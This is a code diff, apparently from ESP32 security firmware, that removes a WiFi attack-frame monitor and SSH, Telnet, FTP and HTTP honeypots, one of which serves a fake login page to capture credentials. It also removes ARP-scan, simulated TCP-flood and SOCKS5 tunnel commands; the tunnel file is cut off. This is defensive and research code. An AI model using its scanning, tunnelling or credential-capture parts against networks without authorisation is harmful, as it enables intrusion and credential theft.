const wifi_promiscuous_pkt_t *pkt = (const wifi_promiscuous_pkt_t *)buf;
const uint8_t *frame = pkt->payload;
uint16_t frame_len = pkt->rx_ctrl.sig_len;
if (frame_len < 24)
return;
uint8_t fc0 = frame[0];
uint8_t fc_type = fc0 & 0x0C; /* bits 2-3 */
uint8_t fc_subtype = fc0 & 0xF0; /* bits 4-7 */
/* Source MAC (addr2 = transmitter) at offset 10 */
const uint8_t *src_mac = &frame[10];
char mac_str[18];
if (type == WIFI_PKT_MGMT) {
if (fc_type == WLAN_FC_TYPE_MGMT) {
/* --- Probe Request --- */
if (fc_subtype == WLAN_FC_STYPE_PROBE) {
cnt_probe++;
if ((cnt_probe % PROBE_RATE_LIMIT) == 1) {
mac_to_str(src_mac, mac_str, sizeof(mac_str));
char detail[64];
snprintf(detail, sizeof(detail), "count=%lu",
(unsigned long)cnt_probe);
event_send("WIFI_PROBE", "LOW",
mac_str, "0.0.0.0", 0, 0, detail, NULL);
}
return;
}
/* --- Deauthentication --- */
if (fc_subtype == WLAN_FC_STYPE_DEAUTH) {
cnt_deauth++;
if ((cnt_deauth % DEAUTH_RATE_LIMIT) == 1) {
mac_to_str(src_mac, mac_str, sizeof(mac_str));
char detail[64];
snprintf(detail, sizeof(detail), "reason=%d count=%lu",
(frame_len >= 26) ? (frame[24] | (frame[25] << 8)) : 0,
(unsigned long)cnt_deauth);
event_send("WIFI_DEAUTH", "HIGH",
mac_str, "0.0.0.0", 0, 0, detail, NULL);
}
return;
}
/* --- Beacon flood detection (multi-source) --- */
if (fc_subtype == WLAN_FC_STYPE_BEACON) {
uint32_t now = (uint32_t)(xTaskGetTickCount() *
portTICK_PERIOD_MS);
beacon_tracker_t *bt = beacon_find_or_create(src_mac, now);
if ((now - bt->start) >= BEACON_WINDOW_MS) {
/* Window expired, reset */
bt->start = now;
bt->count = 1;
bt->alerted = false;
} else {
bt->count++;
if (bt->count >= BEACON_FLOOD_THRESHOLD && !bt->alerted) {
bt->alerted = true;
cnt_beacon++;
mac_to_str(src_mac, mac_str, sizeof(mac_str));
char detail[64];
snprintf(detail, sizeof(detail),
"beacons=%lu window_ms=%d",
(unsigned long)bt->count,
BEACON_WINDOW_MS);
event_send("WIFI_BEACON_FLOOD", "HIGH",
mac_str, "0.0.0.0", 0, 0, detail, NULL);
}
}
return;
}
}
}
/* --- EAPOL detection (data frames with 802.1X ethertype) --- */
if (type == WIFI_PKT_DATA && frame_len >= 36) {
/* LLC/SNAP header starts at offset 24 for data frames:
* 24: AA AA 03 00 00 00 [ethertype_hi] [ethertype_lo] */
if (frame[24] == 0xAA && frame[25] == 0xAA && frame[26] == 0x03) {
uint16_t ethertype = (frame[30] << 8) | frame[31];
if (ethertype == ETHERTYPE_EAPOL) {
cnt_eapol++;
if ((cnt_eapol % EAPOL_RATE_LIMIT) == 1) {
mac_to_str(src_mac, mac_str, sizeof(mac_str));
char detail[64];
snprintf(detail, sizeof(detail), "count=%lu",
(unsigned long)cnt_eapol);
event_send("WIFI_EAPOL", "CRITICAL",
mac_str, "0.0.0.0", 0, 0, detail, NULL);
}
}
}
}
}
/* ============================================================
* Monitor task (just keeps alive, callback does the work)
* ============================================================ */
static void wifi_monitor_task(void *arg)
{
(void)arg;
esp_err_t err = esp_wifi_set_promiscuous_rx_cb(wifi_monitor_rx_cb);
if (err != ESP_OK) {
ESP_LOGE(TAG, "set_promiscuous_rx_cb failed: %s", esp_err_to_name(err));
goto done;
}
err = esp_wifi_set_promiscuous(true);
if (err != ESP_OK) {
ESP_LOGE(TAG, "set_promiscuous(true) failed: %s", esp_err_to_name(err));
goto done;
}
/* Filter: management + data frames only */
wifi_promiscuous_filter_t filter = {
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT |
WIFI_PROMIS_FILTER_MASK_DATA
};
esp_wifi_set_promiscuous_filter(&filter);
ESP_LOGI(TAG, "WiFi monitor started");
mon_running = true;
/* Idle loop, checking for stop request */
while (!mon_stop_req) {
vTaskDelay(pdMS_TO_TICKS(500));
}
esp_wifi_set_promiscuous(false);
esp_wifi_set_promiscuous_rx_cb(NULL);
done:
mon_running = false;
mon_stop_req = false;
ESP_LOGI(TAG, "WiFi monitor stopped");
mon_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void hp_wifi_monitor_start(void)
{
if (mon_running || mon_task) {
ESP_LOGW(TAG, "WiFi monitor already running");
return;
}
cnt_probe = cnt_deauth = cnt_beacon = cnt_eapol = 0;
memset(beacon_trackers, 0, sizeof(beacon_trackers));
beacon_tracker_count = 0;
mon_stop_req = false;
BaseType_t ret = xTaskCreatePinnedToCore(wifi_monitor_task, "hp_wifi",
WIFI_MON_STACK, NULL, WIFI_MON_PRIO, &mon_task, WIFI_MON_CORE);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create WiFi monitor task");
mon_task = NULL;
}
}
void hp_wifi_monitor_stop(void)
{
if (!mon_running && !mon_task) {
ESP_LOGW(TAG, "WiFi monitor not running");
return;
}
mon_stop_req = true;
ESP_LOGI(TAG, "WiFi monitor stop requested");
}
bool hp_wifi_monitor_running(void)
{
return mon_running;
}
int hp_wifi_monitor_status(char *buf, size_t len)
{
return snprintf(buf, len,
"running=%s probes=%lu deauth=%lu beacon_flood=%lu eapol=%lu",
mon_running ? "yes" : "no",
(unsigned long)cnt_probe,
(unsigned long)cnt_deauth,
(unsigned long)cnt_beacon,
(unsigned long)cnt_eapol);
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -1,13 +0,0 @@
/*
* hp_wifi_monitor.h
* WiFi promiscuous-mode monitor: probe requests, deauth frames,
* beacon flood, EAPOL capture detection.
*/
#pragma once
#include <stdbool.h>
void hp_wifi_monitor_start(void);
void hp_wifi_monitor_stop(void);
bool hp_wifi_monitor_running(void);
int hp_wifi_monitor_status(char *buf, size_t len);

View File

@ -1,41 +0,0 @@
/*
* svc_common.h
* Shared types and helpers for honeypot TCP service handlers.
*/
#pragma once
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "lwip/sockets.h"
#include "utils.h"
#include "event_format.h"
#include "hp_config.h"
#define MAX_CLIENT_BUF 256
/* Service runtime descriptor (owned by hp_tcp_services.c) */
typedef struct {
const char *name;
uint16_t port;
volatile bool running;
volatile bool stop_req;
TaskHandle_t task;
uint32_t connections;
uint32_t auth_attempts;
} hp_svc_desc_t;
/* Client handler signature */
typedef void (*hp_client_handler_t)(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc);
/* Per-service handlers (implemented in svc_*.c) */
void handle_ssh_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
void handle_telnet_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
void handle_http_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
void handle_ftp_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);

View File

@ -1,68 +0,0 @@
/*
* svc_ftp.c
* FTP honeypot handler banner + USER/PASS capture + tarpit.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <strings.h>
#include "svc_common.h"
void handle_ftp_client(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc)
{
char banner[128];
hp_config_get_banner("ftp", banner, sizeof(banner));
send(client_fd, banner, strlen(banner), 0);
svc->connections++;
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
client_ip, client_port, 21, "service=ftp", NULL);
char user[64] = {0}, pass[64] = {0};
for (int round = 0; round < 4; round++) {
char buf[MAX_CLIENT_BUF];
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
if (n <= 0) break;
buf[n] = '\0';
if (strncasecmp(buf, "USER ", 5) == 0) {
strncpy(user, buf + 5, sizeof(user) - 1);
user[sizeof(user) - 1] = '\0';
char *p = user; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0';
const char *resp = "331 Password required\r\n";
send(client_fd, resp, strlen(resp), 0);
} else if (strncasecmp(buf, "PASS ", 5) == 0) {
strncpy(pass, buf + 5, sizeof(pass) - 1);
pass[sizeof(pass) - 1] = '\0';
char *p = pass; while (*p && *p != '\r' && *p != '\n') p++; *p = '\0';
const char *resp = "530 Login incorrect\r\n";
send(client_fd, resp, strlen(resp), 0);
break;
} else if (strncasecmp(buf, "QUIT", 4) == 0) {
const char *resp = "221 Goodbye\r\n";
send(client_fd, resp, strlen(resp), 0);
break;
} else {
const char *resp = "500 Unknown command\r\n";
send(client_fd, resp, strlen(resp), 0);
}
}
if (user[0] || pass[0]) {
svc->auth_attempts++;
char detail[192];
snprintf(detail, sizeof(detail),
"service=ftp user='%.32s' pass='%.32s'", user, pass);
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
client_ip, client_port, 21, detail, NULL);
}
int tarpit = hp_config_get_threshold("tarpit_ms");
if (tarpit > 0)
vTaskDelay(pdMS_TO_TICKS(tarpit));
}
#endif

View File

@ -1,106 +0,0 @@
/*
* svc_http.c
* HTTP honeypot handler request logging + POST body capture.
* Serves a fake login page to capture credentials.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include "svc_common.h"
/* Extract server name from NVS banner (e.g. "Apache/2.4.54 (Ubuntu)") */
static void extract_server_name(char *out, size_t out_len)
{
char banner[128];
hp_config_get_banner("http", banner, sizeof(banner));
/* Banner format: "HTTP/1.1 200 OK\r\nServer: Apache/2.4.54 (Ubuntu)\r\n" */
char *srv = strstr(banner, "Server: ");
if (srv) {
srv += 8;
char *end = strstr(srv, "\r\n");
size_t len = end ? (size_t)(end - srv) : strlen(srv);
if (len >= out_len) len = out_len - 1;
memcpy(out, srv, len);
out[len] = '\0';
} else {
snprintf(out, out_len, "Apache/2.4.54");
}
}
/* Login page body */
static const char LOGIN_PAGE[] =
"<html><head><title>Admin Panel</title>"
"<style>body{font-family:sans-serif;background:#f0f0f0;display:flex;"
"justify-content:center;align-items:center;height:100vh;margin:0}"
".box{background:#fff;padding:2rem;border-radius:8px;box-shadow:0 2px 8px rgba(0,0,0,.2)}"
"input{display:block;margin:0.5rem 0;padding:0.4rem;width:200px}"
"button{padding:0.5rem 1rem;cursor:pointer}</style></head>"
"<body><div class='box'><h2>Authentication Required</h2>"
"<form method='POST' action='/login'>"
"<input name='user' placeholder='Username'>"
"<input name='pass' type='password' placeholder='Password'>"
"<button type='submit'>Login</button>"
"</form></div></body></html>";
void handle_http_client(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc)
{
svc->connections++;
char buf[MAX_CLIENT_BUF];
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
if (n <= 0) return;
buf[n] = '\0';
/* Extract first line without modifying buf (needed for POST body search) */
char first_line[130];
char *eol = strstr(buf, "\r\n");
size_t fl_len = eol ? (size_t)(eol - buf) : (size_t)n;
if (fl_len >= sizeof(first_line)) fl_len = sizeof(first_line) - 1;
memcpy(first_line, buf, fl_len);
first_line[fl_len] = '\0';
char detail[192];
snprintf(detail, sizeof(detail), "service=http request='%.128s'", first_line);
event_send("SVC_CONNECT", "MEDIUM", "00:00:00:00:00:00",
client_ip, client_port, 80, detail, NULL);
/* Check for POST data → auth attempt */
if (strncmp(buf, "POST", 4) == 0) {
svc->auth_attempts++;
char *body = strstr(buf, "\r\n\r\n");
if (body) {
body += 4;
char post_detail[192];
snprintf(post_detail, sizeof(post_detail),
"service=http post='%.128s'", body);
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
client_ip, client_port, 80, post_detail, NULL);
}
}
/* Build proper HTTP response */
char server_name[64];
extract_server_name(server_name, sizeof(server_name));
int body_len = (int)sizeof(LOGIN_PAGE) - 1;
char resp_hdr[256];
int hdr_len = snprintf(resp_hdr, sizeof(resp_hdr),
"HTTP/1.1 200 OK\r\n"
"Server: %s\r\n"
"Content-Type: text/html\r\n"
"Content-Length: %d\r\n"
"Connection: close\r\n\r\n",
server_name, body_len);
send(client_fd, resp_hdr, hdr_len, 0);
send(client_fd, LOGIN_PAGE, body_len, 0);
int tarpit = hp_config_get_threshold("tarpit_ms");
if (tarpit > 0)
vTaskDelay(pdMS_TO_TICKS(tarpit));
}
#endif

View File

@ -1,42 +0,0 @@
/*
* svc_ssh.c
* SSH honeypot handler banner + auth attempt capture + tarpit.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include "svc_common.h"
void handle_ssh_client(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc)
{
char banner[128];
hp_config_get_banner("ssh", banner, sizeof(banner));
send(client_fd, banner, strlen(banner), 0);
svc->connections++;
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
client_ip, client_port, 22, "service=ssh", NULL);
/* Read client version string / auth attempt */
char buf[MAX_CLIENT_BUF];
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
if (n > 0) {
buf[n] = '\0';
while (n > 0 && (buf[n-1] == '\r' || buf[n-1] == '\n'))
buf[--n] = '\0';
svc->auth_attempts++;
char detail[192];
snprintf(detail, sizeof(detail), "service=ssh payload='%.128s'", buf);
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
client_ip, client_port, 22, detail, NULL);
}
int tarpit = hp_config_get_threshold("tarpit_ms");
if (tarpit > 0)
vTaskDelay(pdMS_TO_TICKS(tarpit));
}
#endif

View File

@ -1,60 +0,0 @@
/*
* svc_telnet.c
* Telnet honeypot handler login prompt + user/pass capture + tarpit.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include "svc_common.h"
void handle_telnet_client(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc)
{
char banner[128];
hp_config_get_banner("telnet", banner, sizeof(banner));
send(client_fd, banner, strlen(banner), 0);
svc->connections++;
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
client_ip, client_port, 23, "service=telnet", NULL);
/* Read username */
char user[64] = {0};
int n = recv(client_fd, user, sizeof(user) - 1, 0);
if (n > 0) {
user[n] = '\0';
while (n > 0 && (user[n-1] == '\r' || user[n-1] == '\n'))
user[--n] = '\0';
}
/* Send password prompt */
const char *pass_prompt = "Password: ";
send(client_fd, pass_prompt, strlen(pass_prompt), 0);
char pass[64] = {0};
n = recv(client_fd, pass, sizeof(pass) - 1, 0);
if (n > 0) {
pass[n] = '\0';
while (n > 0 && (pass[n-1] == '\r' || pass[n-1] == '\n'))
pass[--n] = '\0';
}
if (user[0] || pass[0]) {
svc->auth_attempts++;
char detail[192];
snprintf(detail, sizeof(detail),
"service=telnet user='%.32s' pass='%.32s'", user, pass);
event_send("SVC_AUTH_ATTEMPT", "HIGH", "00:00:00:00:00:00",
client_ip, client_port, 23, detail, NULL);
}
const char *fail = "\r\nLogin incorrect\r\n";
send(client_fd, fail, strlen(fail), 0);
int tarpit = hp_config_get_threshold("tarpit_ms");
if (tarpit > 0)
vTaskDelay(pdMS_TO_TICKS(tarpit));
}
#endif

View File

@ -1,9 +0,0 @@
set(SRCS "cmd_network.c" "mod_ping.c" "mod_arp.c" "mod_dos.c")
if(CONFIG_MODULE_TUNNEL)
list(APPEND SRCS "tun_core.c")
endif()
idf_component_register(SRCS ${SRCS}
INCLUDE_DIRS .
REQUIRES lwip protocol_examples_common esp_wifi core)

View File

@ -1,205 +0,0 @@
/*
* cmd_network.c
* Refactored for new command system (protobuf-based)
*/
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h"
#ifdef CONFIG_MODULE_TUNNEL
#include "tun_core.h"
#endif
/* ============================================================
* EXTERNAL SYMBOLS
* ============================================================ */
int do_ping_cmd(int argc, char **argv, const char *req);
void arp_scan_task(void *pvParameters);
void start_dos(const char *t_ip, uint16_t t_port, int count);
#define TAG "CMD_NETWORK"
/* ============================================================
* COMMAND: ping <host> [...]
* ============================================================ */
static int cmd_ping(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)ctx;
if (argc < 1) {
msg_error(TAG, "usage: ping <host> [...]", req);
return -1;
}
return do_ping_cmd(argc, argv, req);
}
/* ============================================================
* COMMAND: arp_scan
* ============================================================ */
static int cmd_arp_scan(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
/* Heap-copy request_id for the scan task (freed inside arp_scan_task) */
char *req_copy = req ? strdup(req) : NULL;
xTaskCreatePinnedToCore(
arp_scan_task,
"arp_scan",
6144,
req_copy,
5,
NULL,
1
);
return 0;
}
/* ============================================================
* COMMAND: dos_tcp <ip> <port> <count>
* ============================================================ */
static int cmd_dos_tcp(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)ctx;
if (argc != 3) {
msg_error(TAG, "usage: dos_tcp <ip> <port> <count>", req);
return -1;
}
start_dos(
argv[0],
(uint16_t)atoi(argv[1]),
atoi(argv[2])
);
msg_info(TAG, "DOS task started", req);
return 0;
}
#ifdef CONFIG_MODULE_TUNNEL
/* ============================================================
* COMMAND: tun_start <ip> <port>
* ============================================================ */
static int cmd_tun_start(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)ctx;
if (argc != 2) {
msg_error(TAG, "usage: tun_start <ip> <port>", req);
return -1;
}
if (tun_is_running()) {
msg_error(TAG, "tunnel already running", req);
return -1;
}
int port = atoi(argv[1]);
if (port <= 0 || port > 65535) {
msg_error(TAG, "invalid port", req);
return -1;
}
if (!tun_start(argv[0], port, req)) {
msg_error(TAG, "tunnel start failed", req);
return -1;
}
msg_info(TAG, "tunnel starting", req);
return 0;
}
/* ============================================================
* COMMAND: tun_stop
* ============================================================ */
static int cmd_tun_stop(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
if (!tun_is_running()) {
msg_error(TAG, "tunnel not running", req);
return -1;
}
tun_stop();
msg_info(TAG, "tunnel stopping", req);
return 0;
}
/* ============================================================
* COMMAND: tun_status
* ============================================================ */
static int cmd_tun_status(
int argc,
char **argv,
const char *req,
void *ctx
) {
(void)argc;
(void)argv;
(void)ctx;
char status[256];
tun_get_status(status, sizeof(status));
msg_info(TAG, status, req);
return 0;
}
#endif /* CONFIG_MODULE_TUNNEL */
/* ============================================================
* REGISTER COMMANDS
* ============================================================ */
static const command_t network_cmds[] = {
{ "ping", NULL, NULL, 1, 8, cmd_ping, NULL, true },
{ "arp_scan", NULL, NULL, 0, 0, cmd_arp_scan, NULL, true },
{ "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true },
#ifdef CONFIG_MODULE_TUNNEL
{ "tun_start", NULL, "Start tunnel: tun_start <ip> <port>", 2, 2, cmd_tun_start, NULL, true },
{ "tun_stop", NULL, "Stop tunnel", 0, 0, cmd_tun_stop, NULL, false },
{ "tun_status", NULL, "Tunnel status", 0, 0, cmd_tun_status, NULL, false },
#endif
};
void mod_network_register_commands(void)
{
for (size_t i = 0;
i < sizeof(network_cmds) / sizeof(network_cmds[0]);
i++) {
command_register(&network_cmds[i]);
}
}

View File

@ -1,3 +0,0 @@
#pragma once
void mod_network_register_commands(void);

View File

@ -1,162 +0,0 @@
/*
* Eun0us - ARP Scan Module
* Stream-based local network discovery
*/
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
#include "esp_netif.h"
#include "esp_netif_net_stack.h"
#include "lwip/ip4_addr.h"
#include "lwip/etharp.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "utils.h"
#define TAG "ARP_SCAN"
#define ARP_TIMEOUT_MS 1500
#define ARP_BATCH_SIZE 16
/* ============================================================
* Helpers
* ============================================================ */
/* Convert little/big endian safely */
static uint32_t swap_u32(uint32_t v)
{
return ((v & 0xFF000000U) >> 24) |
((v & 0x00FF0000U) >> 8) |
((v & 0x0000FF00U) << 8) |
((v & 0x000000FFU) << 24);
}
static void next_ip(esp_ip4_addr_t *ip)
{
esp_ip4_addr_t tmp;
tmp.addr = swap_u32(ip->addr);
tmp.addr++;
ip->addr = swap_u32(tmp.addr);
}
/* ============================================================
* ARP scan task
* pvParameters = heap-allocated request_id string (or NULL)
* ============================================================ */
void arp_scan_task(void *pvParameters)
{
char *req = (char *)pvParameters;
ESP_LOGI(TAG, "ARP scan started (req=%s)", req ? req : "none");
esp_netif_t *netif_handle =
esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
if (!netif_handle) {
msg_error(TAG, "wifi netif not found", req);
free(req);
vTaskDelete(NULL);
return;
}
struct netif *lwip_netif =
esp_netif_get_netif_impl(netif_handle);
if (!lwip_netif) {
msg_error(TAG, "lwIP netif not found", req);
free(req);
vTaskDelete(NULL);
return;
}
esp_netif_ip_info_t ip_info;
esp_netif_get_ip_info(netif_handle, &ip_info);
/* Compute network range */
esp_ip4_addr_t start_ip;
start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr;
esp_ip4_addr_t end_ip;
end_ip.addr = start_ip.addr | ~ip_info.netmask.addr;
esp_ip4_addr_t cur_ip = start_ip;
char ip_str[IP4ADDR_STRLEN_MAX];
char json[128];
while (cur_ip.addr != end_ip.addr) {
esp_ip4_addr_t batch[ARP_BATCH_SIZE];
int batch_count = 0;
/* Send ARP requests */
for (int i = 0; i < ARP_BATCH_SIZE; i++) {
next_ip(&cur_ip);
if (cur_ip.addr == end_ip.addr)
break;
etharp_request(
lwip_netif,
(const ip4_addr_t *)&cur_ip
);
batch[batch_count++] = cur_ip;
}
/* Wait for replies */
vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS));
/* Collect results */
for (int i = 0; i < batch_count; i++) {
struct eth_addr *mac = NULL;
const ip4_addr_t *ip_ret = NULL;
if (etharp_find_addr(
lwip_netif,
(const ip4_addr_t *)&batch[i],
&mac,
&ip_ret
) >= 0 && mac) {
esp_ip4addr_ntoa(
&batch[i],
ip_str,
sizeof(ip_str)
);
int len = snprintf(
json,
sizeof(json),
"{"
"\"ip\":\"%s\","
"\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\""
"}",
ip_str,
mac->addr[0], mac->addr[1], mac->addr[2],
mac->addr[3], mac->addr[4], mac->addr[5]
);
if (len > 0) {
msg_data(
TAG,
json,
len,
false,
req
);
}
}
}
}
/* Final message closes the stream (eof=true) */
const char *done = "ARP scan completed";
msg_data(TAG, done, strlen(done), true, req);
free(req);
vTaskDelete(NULL);
}

View File

@ -1,102 +0,0 @@
/*
* Eun0us - TCP Flood Simulation Module
* Stream-based, non-destructive (simulation only)
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
#include "utils.h"
#define TAG "MODULE_TCP_FLOOD"
/* ============================================================
* Configuration (SIMULATION)
* ============================================================ */
typedef struct {
char ip[16];
uint16_t port;
int count;
} flood_config_t;
/* ============================================================
* Simulated flood task (NO NETWORK)
* ============================================================ */
static void flood_sim_task(void *param)
{
flood_config_t *cfg = (flood_config_t *)param;
msg_info(TAG, "Starting TCP flood simulation", NULL);
for (int i = 0; i < cfg->count; i++) {
char line[96];
int len = snprintf(
line,
sizeof(line),
"SIM SYN -> %s:%u (%d/%d)",
cfg->ip,
cfg->port,
i + 1,
cfg->count
);
if (len > 0) {
msg_data(
TAG,
line,
strlen(line),
false,
NULL);
}
vTaskDelay(pdMS_TO_TICKS(5));
}
/* End of stream */
msg_data(TAG, NULL, 0, true, NULL);
msg_info(TAG, "TCP flood simulation completed", NULL);
free(cfg);
vTaskDelete(NULL);
}
/* ============================================================
* Public API (called by command)
* ============================================================ */
void start_dos(const char *t_ip, uint16_t t_port, int count)
{
if (!t_ip || count <= 0 || count > 10000) {
msg_error(TAG, "invalid parameters (count 1-10000)", NULL);
return;
}
flood_config_t *cfg = malloc(sizeof(flood_config_t));
if (!cfg) {
msg_error(TAG, "memory allocation failed", NULL);
return;
}
strncpy(cfg->ip, t_ip, sizeof(cfg->ip) - 1);
cfg->ip[sizeof(cfg->ip) - 1] = '\0';
cfg->port = t_port;
cfg->count = count;
xTaskCreatePinnedToCore(
flood_sim_task,
"tcp_flood_sim",
4096,
cfg,
5,
NULL,
1
);
}

View File

@ -1,197 +0,0 @@
/*
* Eun0us - ICMP Ping Module
* Clean & stream-based implementation
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "lwip/inet.h"
#include "lwip/netdb.h"
#include "esp_log.h"
#include "ping/ping_sock.h"
#include "utils.h"
#define TAG "PING"
/* Context passed to ping callbacks via cb_args */
typedef struct {
char req[64]; /* request_id copy (empty string if none) */
} ping_ctx_t;
/* ============================================================
* Ping callbacks
* ============================================================ */
static void ping_on_success(esp_ping_handle_t hdl, void *args)
{
ping_ctx_t *ctx = (ping_ctx_t *)args;
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
char line[256];
uint8_t ttl;
uint16_t seq;
uint32_t time_ms, size;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl));
esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms));
esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int len = snprintf(line, sizeof(line),
"%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums",
(unsigned long)size,
ipaddr_ntoa(&addr),
seq,
ttl,
(unsigned long)time_ms
);
if (len > 0) {
msg_data(TAG, line, len, false, req);
}
}
static void ping_on_timeout(esp_ping_handle_t hdl, void *args)
{
ping_ctx_t *ctx = (ping_ctx_t *)args;
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
char line[256];
uint16_t seq;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int len = snprintf(line, sizeof(line),
"From %s: icmp_seq=%u timeout",
ipaddr_ntoa(&addr),
seq
);
if (len > 0) {
msg_data(TAG, line, len, false, req);
}
}
static void ping_on_end(esp_ping_handle_t hdl, void *args)
{
ping_ctx_t *ctx = (ping_ctx_t *)args;
const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL;
uint32_t sent, recv, duration;
ip_addr_t addr;
esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent));
esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv));
esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration));
esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr));
int loss = sent ? (100 - (recv * 100 / sent)) : 0;
char line[256];
int len = snprintf(line, sizeof(line),
"--- %s ping statistics ---\n"
"%lu packets transmitted, %lu received, %d%% packet loss, time %lums",
ipaddr_ntoa(&addr),
(unsigned long)sent,
(unsigned long)recv,
loss,
(unsigned long)duration
);
if (len > 0) {
msg_data(TAG, line, len, true, req);
}
esp_ping_delete_session(hdl);
free(ctx);
}
/* ============================================================
* Command entry point
* ============================================================ */
int do_ping_cmd(int argc, char **argv, const char *req)
{
if (argc < 1) {
msg_error(TAG,
"usage: ping <host> [timeout interval size count ttl iface]",
req);
return -1;
}
esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG();
cfg.count = 4;
cfg.timeout_ms = 1000;
cfg.task_stack_size = 8192; /* default 2048 too small for msg_data→protobuf stack */
const char *host = argv[0];
/* Optional arguments */
if (argc > 1) cfg.timeout_ms = atoi(argv[1]) * 1000;
if (argc > 2) cfg.interval_ms = (uint32_t)(atof(argv[2]) * 1000);
if (argc > 3) cfg.data_size = atoi(argv[3]);
if (argc > 4) cfg.count = atoi(argv[4]);
if (argc > 5) cfg.tos = atoi(argv[5]);
if (argc > 6) cfg.ttl = atoi(argv[6]);
/* Resolve host */
ip_addr_t target;
memset(&target, 0, sizeof(target));
if (!ipaddr_aton(host, &target)) {
struct addrinfo *res = NULL;
if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) {
msg_error(TAG, "unknown host", req);
return -1;
}
#ifdef CONFIG_LWIP_IPV4
if (res->ai_family == AF_INET) {
inet_addr_to_ip4addr(
ip_2_ip4(&target),
&((struct sockaddr_in *)res->ai_addr)->sin_addr
);
}
#endif
#ifdef CONFIG_LWIP_IPV6
if (res->ai_family == AF_INET6) {
inet6_addr_to_ip6addr(
ip_2_ip6(&target),
&((struct sockaddr_in6 *)res->ai_addr)->sin6_addr
);
}
#endif
freeaddrinfo(res);
}
cfg.target_addr = target;
/* Heap-allocate context for callbacks (freed in ping_on_end) */
ping_ctx_t *ctx = calloc(1, sizeof(ping_ctx_t));
if (ctx && req) {
snprintf(ctx->req, sizeof(ctx->req), "%s", req);
}
esp_ping_callbacks_t cbs = {
.on_ping_success = ping_on_success,
.on_ping_timeout = ping_on_timeout,
.on_ping_end = ping_on_end,
.cb_args = ctx
};
esp_ping_handle_t ping;
esp_ping_new_session(&cfg, &cbs, &ping);
esp_ping_start(ping);
return 0;
}

View File

@ -1,11 +0,0 @@
#pragma once
#include <stdint.h>
// dos.c
void start_dos(const char *t_ip, uint16_t t_port, int turn);
// arp.c
void arp_scan_task(void *pvParameters);
// ping.c
int do_ping_cmd(int argc, char **argv, const char *req);

View File

@ -1,795 +0,0 @@
/*
* tun_core.c SOCKS5 Tunnel Engine
